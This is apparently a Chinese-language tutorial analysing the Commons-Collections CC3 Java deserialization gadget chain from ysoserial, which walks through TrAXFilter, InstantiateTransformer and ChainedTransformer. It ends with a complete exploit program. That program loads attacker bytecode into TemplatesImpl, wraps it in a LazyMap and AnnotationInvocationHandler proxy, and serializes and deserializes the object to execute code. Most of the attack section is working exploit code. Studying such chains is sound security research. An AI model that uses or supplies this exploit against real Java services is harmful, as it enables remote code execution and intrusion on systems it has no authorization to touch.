CC3链补充
ysoserial中使用TrAXFilter
类,来触发newTransformer
方法,最后也可以成功进行类加载
这里我们也进行分析一下
CC3攻击链分析
调用newTransformer
我们来看`TrAXFilter`的构造函数,构造时需要传入一个templates ,然后调用他的`newTransformer`方法,但是这个类并没有继承Serializable接口,如果我们能找一个调用其构造函数的方法,我们就可以成功执行代码
1 2 3 4 5 6 7 8 9 10 public class TrAXFilter extends XMLFilterImpl public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
调用TrAXFilter构造方法
CC3的作者找到了InstantiateTransformer
这个类,看名字就知道这个类是用来初始化Transformer
的
它会判断你传入的是不是一个Class类型,如果是的话就会调用其指定参数类型的构造器
我们需要new一个InstantiateTransformer
,将构造器的参数类型和参数传入,然后将TrAXFilter
的class类传入,它就会根据参数类型去调用TrAXFilter的构造方法,并将参数传入
最后一步就会return我们构造好并进行实例化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } ...... }
根据如上解释,中间部分换为如下代码,就可以执行恶意代码了
1 2 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates});instantiateTransformer.transform(TrAXFilter.class);
调用transform方法
由于cc1的老毛病,我们还是使用`ChainedTransformer`去调用其transform
如下代码相当于调用了instantiateTransformer.transform(TrAXFilter.class)
剩下的和之前的是一样的
1 2 3 4 5 6 7 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates});Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer };
最终代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "CC3" ); byte [] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, codes); Field tfactory = tl.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin" ); }